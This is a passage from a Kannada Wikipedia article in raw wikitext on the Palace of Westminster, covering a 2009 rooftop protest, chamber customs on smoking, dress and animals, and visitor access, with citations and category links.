ಇಪ್ಪತ್ತು ಜನ ಕೆಳಗಿಳಿದರು, ಉಳಿದವರು ರಾತ್ರಿಯನ್ನು ಚಾವಣಿಯ ಮೇಲೆಯೇ ಕಳೆದರು.<ref>{{Cite news |title=Greenpeace protesters refuse to leave roof of Palace of Westminster |newspaper=The Daily Telegraph |location=London |date=12 October 2009 |url=http://www.telegraph.co.uk/earth/environment/climatechange/6303707/Greenpeace-protesters-refuse-to-leave-roof-of-Palace-of-Westminster.html |accessdate=13 May 2010 |archive-date=7 ಸೆಪ್ಟೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20100907082113/http://www.telegraph.co.uk/earth/environment/climatechange/6303707/Greenpeace-protesters-refuse-to-leave-roof-of-Palace-of-Westminster.html |url-status=dead }}</ref><ref>{{Cite news |title=Rooftop protest continues as MPs return |last1=Sinclair |first1=Joe |last2=Hutt |first2=Rosamond |newspaper=The Independent |location=London |date=12 October 2009 |url=http://www.independent.co.uk/news/uk/politics/rooftop-protest-continues-as-mps-return-1801471.html |accessdate=13 May 2010}}</ref>{{#tag:ref|According to the BBC, the protesters who spent the night on the roof were more than thirty,<ref>{{Cite news |title=Parliament rooftop protest ends |publisher=BBC News |date=12 October 2009 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/8301586.stm |accessdate=13 May 2010}}</ref> and ೫೪ people were later charged with trespassing on land designated a protected site.<ref>{{Cite news |title=Parliament rooftop protest leads to 55 charges |publisher=BBC News |date=12 March 2010 |url=http://news.bbc.co.uk/2/hi/uk_news/england/london/8565359.stm |accessdate=13 May 2010}}</ref>|group=note}} == ನಿಯಮಗಳು ಮತ್ತು ಸಂಪ್ರದಾಯಗಳು == === ತಿನ್ನುವುದು, ಮದ್ಯಪಾನ ಮತ್ತು ಧೂಮಪಾನ === ಅರಮನೆಯು ಶತಮಾನಗಳಿಂದ ಅನೇಕ ನಿಯಮಗಳು ಮತ್ತು ಸಂಪ್ರದಾಯಗಳನ್ನು ಹೊಂದಿದೆ. ಹೀಗೆ ೧೭ ನೇ ಶತಮಾನದಿಂದ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಕೊಠಡಿಯಲ್ಲಿ ಧೂಮಪಾನ ನಿಷೇಧಿಸಲಾಗಿದೆ.<ref name="Factsheet G07">{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g07.pdf |title=Some Traditions and Customs of the House |year=2009 |month=January |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ಇದರ ಫಲಿತಾಂಶವೆಂಬಂತೆ, ಇದರ ಬದಲಿಗೆ ಸದಸ್ಯರು ನಶ್ಯವನ್ನು ಸೇವಿಸಬಹುದಾಗಿತ್ತು. ಅಲ್ಲದೇ ಈ ಉದ್ದೇಶಕ್ಕಾಗಿ ಬಾಗಿಲು ಕಾಯುವವರು ನಶ್ಯೆ ಡಬ್ಬಿಯನ್ನು ಇನ್ನೂ ಇಟ್ಟುಕೊಂಡಿರುತ್ತಾರೆ. ಮಾಧ್ಯಮದ ನಿರಂತರ ವದಂತಿಗಳ ಹೊರತಾಗಿಯೂ, ೨೦೦೫ ರಿಂದ ಅರಮನೆಯ ಒಳಗೆ ಎಲ್ಲೂ ಧೂಮಪಾನ ಮಾಡಲು ಸಾಧ್ಯವಿಲ್ಲ.<ref>{{Cite Hansard |url=http://www.publications.parliament.uk/pa/cm200607/cmhansrd/cm070611/text/70611w0004.htm#07061114000542 |house=House of Commons |date=11 June 2007 |accessdate=31 May 2008 |column=736W}}</ref> ಸದಸ್ಯರು ಕೊಠಡಿಯಲ್ಲಿ ತಿನ್ನದಿರಬಹುದು ಅಥವಾ ಕುಡಿಯದಿರಬಹುದು;ಚಾನ್ಸಲರ್ ಆಫ್ ದಿ ಎಕ್ಸ್ ಚೆಕರ್ ಗೆ ಈ ನಿಯಮದಲ್ಲಿ ವಿನಾಯಿತಿ ನೀಡಲಾಗಿದೆ. ಇವರು ಆಯವ್ಯಯದ ಪ್ರಕಟನೆ ನೀಡುವಾಗ ಮದ್ಯಪಾನ ಮಾಡಬಹುದಾಗಿದೆ.<ref>{{Cite web |url=http://www.parliament.uk/about/faqs/house-of-commons-faqs/budget/ |title=Frequently Asked Questions: The Budget |publisher=UK Parliament |accessdate=5 August 2010 |archive-date=9 ಜೂನ್ 2010 |archive-url=https://web.archive.org/web/20100609232149/http://www.parliament.uk/about/faqs/house-of-commons-faqs/budget/ |url-status=dead }}</ref> === ಉಡುಪು ನಿಯಮಾವಳಿ === [[ಚಿತ್ರ:Lionel de Rothschild HOC.jpg|thumb|left|280px|ಪಾರ್ಲಿಮೆಂಟ್ ನ ಹೊಸ ಸದಸ್ಯನ ಪರಿಚಯ, 1858. ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನಲ್ಲಿ ಟೋಪಿ ಹಾಕಿಕೊಳ್ಳುವುದನ್ನು ಯಾವಾಲೂ ಒಂದೇ ರೀತಿಯಲ್ಲಿ ನಡೆಸಿಕೊಳ್ಳುತ್ತಿರಲಿಲ್ಲ .]] ಟೋಪಿಗಳನ್ನು ಧರಿಸುವಂತಿಲ್ಲ, (ಪಾಯಿಂಟ್ ಆಫ್ ಆರ್ಡರ್ ಅನ್ನು ಜಾರಿಗೆ ತರುವ ಮೊದಲು ಅವುಗಳನ್ನು ಧರಿಸಲಾಗುತ್ತಿದ್ದರೂ ಕೂಡ),<ref>{{Cite web |url=http://news.bbc.co.uk/2/hi/uk_news/politics/82580.stm |title=Points of Order |date=22 September 2009 |publisher=BBC News |accessdate=22 January 2010}}</ref> ಹಾಗು ಸದಸ್ಯರು ಸೈನಿಕ ಉಡುಗೆ ತೊಡುಗೆಗಳನ್ನು ಅಥವಾ ಪದಕಗಳನ್ನು ತೊಡುವಂತಿಲ್ಲ. ಸದಸ್ಯರು ಕೈಯಿಗಳನ್ನು ಅವರ ಜೇಬಿನಲ್ಲಿ ಹಾಕಿಕೊಳ್ಳುವಂತಿಲ್ಲ — ೧೯೯೪ ರ ಡಿಸೆಂಬರ್ ೧೯ ರಂದು ಹೀಗೆ ನಡೆದುಕೊಳ್ಳಲು ನಿರಾಕರಿಸುವು ಮೂಲಕ MP ಗಳು ಆಂಡ್ರೀವ್ ರೊಬಾತನ್ ರವರನ್ನು ಈ ವಿಷಯದಲ್ಲಿ ಪೀಡಿಸಿದರು.<ref>{{Cite Hansard |url=http://www.publications.parliament.uk/pa/cm199495/cmhansrd/1994-12-19/Orals-1.html#Orals-1_spnew17 |house=House of Commons |date=19 December 1994 |accessdate=31 May 2008 |column=1380}}</ref> ಅಲ್ಲದೇ ಅರಮನೆಯಲ್ಲಿ ಕತ್ತಿಗಳನ್ನು ಇಟ್ಟುಕೊಳ್ಳುವಂತಿಲ್ಲ, ಹಾಗು ಉಡುಪು ಕೋಣೆಯಲ್ಲಿ ಆಯುಧಗಳನ್ನು ಇಟ್ಟುಕೊಳ್ಳಲು ಪ್ರತಿ MP ರಿಬ್ಬನ್ನಿನ ಕುಣಿಕೆಯನ್ನು ಹೊಂದಿರುತ್ತಾನೆ. === ಇತರ ಸಂಪ್ರದಾಯಗಳು === ಅಂಧರಿಗಿರುವ ಮಾರ್ಗದರ್ಶಕ ನಾಯಿಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಬೇರಾವುದೇ ಪ್ರಾಣಿಗಳು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯೊಳಗೆ ಪ್ರವೇಶಿಸುವಂತಿಲ್ಲ;<ref name="Factsheet G07"/> ಅಲ್ಲದೇ ಮೂಸು ನಾಯಿಗಳು, ಪೋಲಿಸ್ ಕುದುರೆಗಳು.<ref>{{Cite news |title=MP's Commons cow protest banned |publisher=BBC News |date=3 June 2008 |url=http://news.bbc.co.uk/2/hi/uk_news/england/shropshire/7432814.stm |accessdate=22 January 2010}}</ref> ಮತ್ತು ರಾಜಮನೆತನದ ಅಶ್ವಶಾಲೆಗೆ ಸೇರಿದ ಕುದುರೆಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಬೇರೆ ಯಾವ ಪ್ರಾಣಿಗಳಿಗೂ ಪ್ರವೇಶವಿಲ್ಲ. ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಚರ್ಚೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಟಿಪ್ಪಣಿಗಳನ್ನು ಉಲ್ಲೇಖಿಸಿದರೂ ಕೂಡ ಭಾಷಣಗಳನ್ನು ಓದುವುದಿಲ್ಲ. ಇದೇ ರೀತಿ ಸಮಾಚಾರ ಪತ್ರಿಕೆಗಳನ್ನು ಕೂಡ ಓದಲು ಅನುಮತಿ ಇಲ್ಲ. ವೀಕ್ಷಣಾ ಸಾಧನಗಳನ್ನು ಕೊಠಡಿಯಲ್ಲಿ ಅನುಮತಿಸುವುದಿಲ್ಲ.<ref>{{Cite Hansard |url=http://www.publications.parliament.uk/pa/cm199192/cmhansrd/1992-02-12/Debate-1.html#Debate-1_spnew27 |house=House of Commons |date=12 February 1992 |accessdate=31 May 2008 |column=983}}</ref> ಕಾಮನ್ಸ್ ನಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಚಪ್ಪಾಳೆ ಮೂಲಕ ಸಮ್ಮತಿಸಲು ಅವಕಾಶ ನೀಡುವುದಿಲ್ಲ. ಇವುಗಳಿಗೆ ಇದ್ದಂತಹ ಕೆಲವು ಗಮನಾರ್ಹ ವಿನಾಯಿತಿಗಳೆಂದರೆ; ರಾಬಿನ್ ಕುಕ್ ೨೦೦೩ ರಲ್ಲಿ ಅವರ ರಾಜೀನಾಮೆ ಭಾಷಣವನ್ನು ಮಾಡಿದರು,<ref>{{Cite news |title=Cook's resignation speech |publisher=BBC News |date=18 March 2003 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/2859431.stm |accessdate=3 December 2009}}</ref> ೨೦೦೯ ರ ಜೂನ್ ೧೭ ರಂದು ಕಳೆದ ಪ್ರೈಮ್ ಮಿನಿಸ್ಟರ್ ಕ್ವೇಷನ್ಸ್<ref>{{Cite news |title=Blair resigns, Brown takes power |newspaper=The Age |location=Melbourne |date=27 June 2007 |url=http://www.theage.com.au/news/World/Blair-resigns-Brown-takes-power/2007/06/27/1182623982652.html |accessdate=17 May 2010}}</ref> ಸಭೆಗೆ ಟೋನಿ ಬ್ಲೇರ್ ರವರು ಆಗಮಿಸಿದ್ದ ಸಂದರ್ಭದಲ್ಲಿ, ಸ್ಪೀಕರ್‌ ಮೈಕೆಲ್ ಮಾರ್ಟೀನ್ ಅವರ ರಾಜೀನಾಮೆ ಭಾಷಣ ನೀಡಿದ್ದರು.<ref>{{Cite news |title=Martin's parting shot on expenses |publisher=BBC News |date=17 June 2009 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/8104311.stm |accessdate=13 May 2010}}</ref> == ಸಂಸ್ಕೃತಿ ಮತ್ತು ಪ್ರವಾಸೋದ್ಯಮ == {{Multiple image | align = right | direction = horizontal | header = Claude Monet's [[Houses of Parliament series (Monet)|Houses of Parliament series]] | footer = During three trips to London between 1899 and 1901, Impressionist painter [[Claude Monet]] worked on [[Houses of Parliament series (Monet)|a series of canvasses]] depicting the Houses of Parliament under various light and weather conditions, often obscured by the [[smog]] prevalent in the city in Victorian times. The paintings share the same vantage point—a terrace at [[St Thomas's Hospital]]—and many of the works were finished in Monet's studio in France during the following years.<ref>{{Cite news |title=Paintings reveal pollution clues |publisher=BBC News |date=9 August 2006 |url=http://news.bbc.co.uk/2/hi/science/nature/5256950.stm |accessdate=30 October 2010}}</ref> | width = 170 | image1 = Westminster Parlement.jpg | alt1 = | caption1 = ''The Houses of Parliament, sunset'' (೧೯೦೩), [[National Gallery of Art]], Washington, D.C. | image2 = Claude Monet ೦೧೫.jpg | alt2 = | caption2 = ''London, Houses of Parliament. The Sun Shining through the Fog'' (೧೯೦೪), [[Musée d'Orsay]], Paris }} ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಹೊರಾಂಗಣವು—ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಕ್ಲಾಕ್ ಗೋಪುರ— ಪ್ರಪಂಚದಾದ್ಯಂತ ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ. ಅಲ್ಲದೇ ಇದು ಲಂಡನ್ ನಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚು ಪ್ರವಾಸಿಗರು ಭೇಟಿಕೊಡುವ ಆಕರ್ಷಣೆಯ ಪ್ರವಾಸಿ ಸ್ಥಳಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಯುನೈಟೆಡ್ ನೇಷನ್ಸ್ ಎಜುಕೇಷನ್, ಸೈಂಟಿಫಿಕ್ ಅಂಡ್ ಕಲ್ಚರಲ್ ಆರ್ಗನೈಸೇಷನ್ (UNESCO), ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯನ್ನು ಪಕ್ಕದ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಬೆ ಮತ್ತು ಸೆಂಟ್ ಮಾರ್ಗರೇಟ್ ನೊಂದಿಗೆ [[ವಿಶ್ವ ಪರಂಪರೆಯ ತಾಣ]]ವಾಗಿ ವಿಂಗಡಿಸಿದೆ. ಇದು ಗ್ರೇಡ್ I ರ ಪಟ್ಟಿಯಲ್ಲಿರುವ ಕಟ್ಟಡವಾಗಿದೆ. ಅರಮನೆಯ ಒಳಭಾಗಕ್ಕೆಸುಲಭವಾಗಿ ಪ್ರವೇಶಿಸಲು ಸಾಧ್ಯವಿಲ್ಲದಿದ್ದರೂ ಕೂಡ ಪ್ರವೇಶಾವಕಾಶ ಪಡೆಯಲು ಅನೇಕ ಮಾರ್ಗಗಳಿವೆ. ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ವೀಕ್ಷಣಾ ಗ್ಯಾಲರಿಯನ್ನು ಪ್ರವೇಶಿಸಲು UK ನ ನಿವಾಸಿಗಳು ಸ್ಥಳೀಯ MP ಯಿಂದ ಟಿಕೇಟ್ ತೆಗೆದುಕೊಳ್ಳಬಹುದು, ಅಥವಾ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಸ್ಥಳಾವಕಾಶಕ್ಕಾಗಿ ಲಾರ್ಡ್ ನಿಂದ ಟಿಕೇಟ್ ಗಳನ್ನು ಪಡೆದುಕೊಳ್ಳಬಹುದು. UK ನಿವಾಸಿಗಳು ಮತ್ತು ವಿದೇಶಿ ಸಂದರ್ಶಕರು, ಇಬ್ಬರೂ ಪ್ರವೇಶಾವಕಾಶಕ್ಕಾಗಿ ದಿನಗಟ್ಟಲೇ ಕಾಯುವುದು ಕೂಡ ಇದೆ. ಆದರೆ ಪ್ರವೇಶಾವಕಾಶ ನೀಡುವ ಸಾಮರ್ಥ್ಯವು ಸೀಮಿತವಾಗಿದ್ದು, ಅಲ್ಲಿ ಪ್ರವೇಶದ ಯಾವುದೇ ಖಾತರಿ ಇರುವುದಿಲ್ಲ. ಯಾವುದೇ ಹೌಸ್ ಖಾಸಗಿಯಾಗಿ ಸೇರಲು ಬಯಸಿದರೆ "ವಿದೇಶಿಯರನ್ನು" ಅಥವಾ ಅಪರಿಚಿತರನ್ನು ಹೊರಗಿಡಬಹುದು.<ref>{{Cite web |url=http://www.parliament.uk/visiting/attend/debates/ |title=Attend debates |publisher=UK Parliament |accessdate=16 August 2010 |archive-date=23 ಅಕ್ಟೋಬರ್ 2011 |archive-url=https://web.archive.org/web/20111023065443/http://www.parliament.uk/visiting/attend/debates/ |url-status=dead }}</ref> ಸಮಿತಿಯ ಅಧಿವೇಶನದಲ್ಲಿ ಸ್ಥಳಾವಕಾಶಕ್ಕಾಗಿ ಪ್ರವೇಶ ಉಚಿತವಾಗಿರುವ ಮತ್ತು ಸ್ಥಳಗಳನ್ನು ಕಾಯ್ದಿರಿಸಲಾಗದ ಸ್ಥಳಗಳಲ್ಲಿ ಸಾರ್ವಜನಿಕರ ಸದಸ್ಯರು ಸಾಲಿನಲ್ಲಿ ನಿಂತು ಅನುಮತಿ ಪಡೆಯಬಹುದು,<ref>{{Cite web |url=http://www.parliament.uk/visiting/attend/committees/ |title=Watch committees |publisher=UK Parliament |accessdate=16 August 2010 |archive-date=23 ಅಕ್ಟೋಬರ್ 2011 |archive-url=https://web.archive.org/web/20111023004021/http://www.parliament.uk/visiting/attend/committees/ |url-status=dead }}</ref> ಅಥವಾ ಅವರು ಸಂಶೋಧನ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಪಾರ್ಲಿಮೆಂಟರಿ ದಫ್ತರಖಾನೆಗೆ ಭೇಟಿನೀಡಬಹುದು. ಅನಂತರದ ಪ್ರಸಂಗದಲ್ಲಿ ಗುರುತಿಗೆ ಪುರಾವೆಯ ಅಗತ್ಯವಿರುತ್ತದೆ. ಆದರೆ ಪಾರ್ಲಿಮೆಂಟ್ ಸದಸ್ಯರನ್ನು ಮೊದಲೇ ಸಂಪರ್ಕಿಸುವ ಅಗತ್ಯವಿಲ್ಲ.<ref>{{Cite web |url=http://www.parliament.uk/visiting/visiting-and-tours/archives/ |title=Visit the Parliamentary Archives |publisher=UK Parliament |accessdate=16 August 2010 |archive-date=29 ಅಕ್ಟೋಬರ್ 2011 |archive-url=https://web.archive.org/web/20111029122725/http://www.parliament.uk/visiting/visiting-and-tours/archives/ |url-status=dead }}</ref> UK ನಿವಾಸಿಗಳಿಗೆ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದುದ್ದಕ್ಕೂ ಅರಮನೆಯ ಉಚಿತ ಮಾರ್ಗದರ್ಶನದ ಪ್ರವಾಸವಿರುತ್ತದೆ.ಇದರಲ್ಲಿ ಸ್ಥಳಾವಕಾಶ ಪಡೆಯಲು ಅವರ MPಯ ಮೂಲಕ ಅಥವಾ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಸದಸ್ಯರ ಮೂಲಕ ಅರ್ಜಿ ಸಲ್ಲಿಸಬಹುದು. ಪ್ರವಾಸವು ಸುಮಾರು ೭೫ ನಿಮಿಷಗಳವರೆಗಿರುತ್ತದೆ. ಅಲ್ಲದೇ ಇದು ವೈಭವದ ಕೋಣೆಗಳನ್ನು, ಎರಡು ಹೌಸ್ ಗಳ ಕೊಠಡಿಗಳನ್ನು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣವನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ಬೇಸಿಗೆಯ ಬಿಡುವು ಕಾಲದಲ್ಲಿ UK ಯ ಮತ್ತು ವಿದೇಶಿ ಮಾರ್ಗದರ್ಶಿಗಳ ಪ್ರವಾಸಕ್ಕೆ ಪಾವತಿಸಬೇಕಾಗುತ್ತದೆ. (ಲಂಡನ್ ಬ್ಲ್ಯೂ ಬ್ಯಾಡ್ಜ್ ಟೂರಿಸ್ಟ್ ಗೈಡ್ಸ್ ಗಳು ಈ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಾರೆ{{Citation needed|reason=The claim that it is Blue Badge guides who conduct the tours requires verification.|date=October 2010}}).<ref>{{Cite web |url=http://www.parliament.uk/visiting/visiting-and-tours/tours/ |title=Arrange a tour |publisher=UK Parliament |accessdate=16 August 2010}}</ref> UK ನಿವಾಸಿಗಳು ಪಾರ್ಲಿಮೆಂಟ್ ನ ಅವರ ಸ್ಥಳೀಯ ಸದಸ್ಯರ ಮೂಲಕ ಪ್ರವೇಶಾವಕಾಶ ಕೋರುವುದರೊಂದಿಗೆ ಕ್ಲಾಕ್ ಗೋಪುರವನ್ನು ವೀಕ್ಷಿಸಬಹುದಾಗಿದೆ; ಇಲ್ಲಿ ವಿದೇಶಿ ಭೇಟಿಗಾರರಿಗೆ ಮತ್ತು ಎಳೆಯ ಮಕ್ಕಳಿಗೆ ಪ್ರವೇಶವಿಲ್ಲ.<ref>{{Cite web |url=http://www.parliament.uk/visiting/visiting-and-tours/bigben/ |title=Clock Tower tour |publisher=UK Parliament |accessdate=16 August 2010 |archive-date=28 ಜುಲೈ 2010 |archive-url=https://www.webarchive.org.uk/wayback/archive/20100728180802/http://www.parliament.uk/visiting/visiting-and-tours/bigben/ |url-status=dead }}</ref> ಹೀಗೆ ೨೦೦೬ರ ಬಿಬಿಸಿ ಕಿರುತೆರೆ ಸಾಕ್ಷ್ಯಚಿತ್ರ ಸರಣಿ ''ಬ್ರಿಟನ್ಸ್‌ ಬೆಸ್ಟ್ ಬಿಲ್ಡಿಂಗ್ಸ್‌'' ಗಾಗಿ ತಮ್ಮ ನಾಲ್ಕು ಆಯ್ಕೆಗಳ ಪೈಕಿ ಗೋಪುರ ಸೇತುವೆಯೂ ಒಂದು ಎಂದು ವಾಸ್ತುಶೈಲಿಯ ಇತಿಹಾಸಜ್ಞ ಡ್ಯಾನ್‌ ಕ್ರುಯಿಕ್ಷಾಂಕ್‌ ಅಭಿಪ್ರಾಯಪಟ್ಟಿದ್ದರು.<ref>{{Cite web |url=http://www.bbc.co.uk/bbcfour/documentaries/features/bbb-parliament.shtml |title=Britain's Best Buildings: Palace of Westminster |publisher=[[BBC Four]] |accessdate=30 October 2010}}</ref> ಡಿಸ್ಟ್ರಿಕ್ಟ್, ಸರ್ಕಲ್ ಮತ್ತು ಜುಬ್ಲೀ ಲೈನ್ ಗಳ ಮೇಲೆರುವ ಹತ್ತಿರದ ಲಂಡನ ನೆಲಡದಿಯಲ್ಲಿರುವ ನಿಲ್ದಾಣವೆಂದರೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಆಗಿದೆ. == ಟಿಪ್ಪಣಿಗಳು == {{Reflist|group=note}} == ಉಲ್ಲೇಖಗಳು == ; ಅಡಿ ಟಿಪ್ಪಣಿಗಳು {{Reflist|2}} ; ಗ್ರಂಥಸೂಚಿ * {{Cite book |last=Cooke |first=Sir Robert |authorlink=Robert Cooke (politician) |title=The Palace of Westminster |year=1987 |publisher=Burton Skira |location=London |isbn=978-0333459232 |ref=Cooke}} * {{Cite book |last1=Fell |first1=Sir Bryan H. |last2=Mackenzie |first2=K. R. |authorlink2=Kenneth R. Mackenzie |editor-last=Natzler |editor-first=D. L |title=The Houses of Parliament: A Guide to the Palace of Westminster |edition=15th |year=1994 |origyear=1930 |publisher=Her Majesty's Stationery Office |location=London |isbn=978-0117015791 |ref=Fell}} * {{Cite book |last=Field |first=John |title=The Story of Parliament in the Palace of Westminster |year=2002 |publisher=Politico's Publishing; James & James Publishers |location=London |isbn=978-1904022145 |ref=Field}} * {{Cite book |last=Gerhold |first=Dorian |title=Westminster Hall: Nine Hundred Years of History |year=1999 |publisher= James & James Publishers |location=London |isbn=978-0907383888 |ref=Gerhold}} * {{Cite book |title=Guide to the Palace of Westminster |ol=13507081M |year=1911(?) |publisher=Warrington |location=London |oclc=5081639 |ref=Guide}} * {{Cite book |last=Jones |first=Christopher |title=The Great Palace: The Story of Parliament |year=1983 |publisher=British Broadcasting Corporation |location=London |isbn=978-0563201786 |ref=Jones}} * {{Cite book |last=Macdonald |first=Peter |title=Big Ben: The Bell, the Clock and the Tower |year=2004 |publisher=Sutton Publishing |location=Stroud |isbn=978-0750938280 |ref=Macdonald}} * {{Cite book |editor-last=Port |editor-first=M. H. |title=The Houses of Parliament |year=1976 |publisher=Yale University Press |location=New Haven, Connecticut; London |isbn=978-0300020229 |ref=Port}} * {{Cite journal |last=Quinault |first=Roland |year=1992 |title=Westminster and the Victorian Constitution |journal=Transactions of the Royal Historical Society |volume=2 |series=6 |pages=79–104 |doi=10.2307/3679100 |ref=Quinault}} {{Subscription required}} * {{Cite book |editor1-last=Riding |editor1-first=Christine |editor2-last=Riding |editor2-first=Jacqueline |title=The Houses of Parliament: History, Art, Architecture |year=2000 |publisher=Merrell Publishers |location=London |isbn=978-1858941127 |ref=Riding}} * {{Cite book |last=Wilson |first=Robert |title=The Houses of Parliament |year=2005 |origyear=1994 |publisher=Jarrold Publishing |location=Norwich |isbn=978-1841650999 |ref=Wilson}} == ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ == * {{Cite book |last=Tanfield |first=Jennifer |title=In Parliament 1939–50: The Effect of the War on the Palace of Westminster |year=1991 |publisher=Her Majesty's Stationery Office |location=London |isbn=978-0108506406}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು‌ == {{Portal box|Architecture|London}} {{Commons category-inline}} * [http://www.parliament.uk/about/living-heritage/building/ ಅಫೀಷಿಯಲ್ ವೆಬ್ ಸೈಟ್ ಆಫ್ ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್] * [http://www.virtualemotion.com/fullquicktime.aspx?language_id=2&amp;n=512 ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಪ್ಯಾಲೆಸ್ ಸ್ಕ್ವೇರ್ 360ಇಮೇಜ್ (ಜಾವಾ)] * [http://virtualexperience.co.uk/?page=projects&amp;sub=westminsterhall ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ – ಎ ವರ್ಚ್ಯುವಲ್ ಎಕ್ಸಪಿರಿಯನ್ಸ್] * [http://online.wsj.com/article/SB123758504383299443.html "ಅ ವಿಕ್ಟೋರಿಯನ್ ನಾವೆಲ್ ಇನ್ ಸ್ಟೋನ್"] ರೋಸ್ ಮೇರಿ ಹಿಲ್, ''ದಿ ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಜರ್ನಲ್'' , ೨೦೦೯ ರ ಮಾರ್ಚ್ ೨೦ {{London history}} {{Royal palaces in the United Kingdom}} {{World Heritage Sites in the United Kingdom}} {{Coord|51|29|57.5|N|00|07|29.1|W|type:landmark_scale:3000_region:GB|display=title}} {{Use dmy dates|date=August 2010}} {{Use British English|date=August 2010}} {{DEFAULTSORT:Palace Of Westminster}} [[ವರ್ಗ:1090 ರ ವಾಸ್ತುಶೈಲಿ]] [[ವರ್ಗ:1836ರ ವಾಸ್ತುಶೈಲಿ]] [[ವರ್ಗ:ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ನಲ್ಲಿನ ಕಟ್ಟಡಗಳು ಮತ್ತು ರಚನೆಗಳು]] [[ವರ್ಗ:ಥೇಮ್ಸ್ ನದಿಯ ಮೇಲಿರುವ ಕಟ್ಟಡಗಳು ಮತ್ತು ರಚನೆಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲೆಂಡ್ ನಲ್ಲಿದ್ದ ಗಾತಿಕ್ ಪುನರುಜ್ಜೀವನ ವಾಸ್ತುಶೈಲಿ]] [[ವರ್ಗ:ಲಂಡನ್‌ನಲ್ಲಿರುವ ಗ್ರೇಡ್‌1 ಪಟ್ಟಿಯಲ್ಲಿರುವ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಲಂಡನ್‌ನಲ್ಲಿರುವ ಗ್ರೇಡ್‌1 ಪಟ್ಟಿಯಲ್ಲಿರುವ ಸರ್ಕಾರಿ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಗ್ರೇಡ್ 1 ಪಟ್ಟಿಯಲ್ಲಿರುವ ಅರಮನೆಗಳು]] [[ವರ್ಗ:ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನ ಇತಿಹಾಸ]] [[ವರ್ಗ:ಯುರೋಪ್ ನಲ್ಲಿರುವ ಶಾಸನರಚನೆಗೆ ಸಂಬಂಧಿಸಿದ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಲಂಡನ್ ನಲ್ಲಿರುವ ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರಿ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲೆಂಡ್ ನಲ್ಲಿರುವ ಅಧಿಕೃತ ನಿವಾಸಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲೆಂಡ್ ನ ಪಾರ್ಲಿಮೆಂಟ್]] [[ವರ್ಗ:ಪುನಃ ನಿರ್ಮಿಸಲಾದ ಕಟ್ಟಡಗಳು ಮತ್ತು ರಚನೆಗಳು]] [[ವರ್ಗ:ಲಂಡನ್ ನಲ್ಲಿರುವ ರಾಜಮನೆತನಕ್ಕೆ ಸೇರಿದ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲೆಂಡ್ ನಲ್ಲಿರುವ ರಾಜಮನೆತನಕ್ಕೆ ಸೇರಿದ ನಿವಾಸಗಳು]] [[ವರ್ಗ:ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ನಲ್ಲಿರುವ ಪ್ರವಾಸಿಗರ ಆಕರ್ಷಣೆಗಳು]] [[ವರ್ಗ:ಲಂಡನ್ ನಲ್ಲಿರುವ ವಿಶ್ವದ ಪರಂಪರೆಯ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ರಾಷ್ಟ್ರೀಯ ಶಾಸಕಾಂಗಗಳ ಕ್ಷೇತ್ರಗಳು]] [[ವರ್ಗ:ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ]] [[ವರ್ಗ:ವಿಶ್ವ ಪರಂಪರೆಯ ತಾಣಗಳು]] q6yi6u98t7wz0r7z84552ero4qf2lyo ವ್ಲಾಡಿವಾಸ್ಟಾಕ್ 0 29101 1116486 960203 2022-08-23T14:00:44Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Russian city 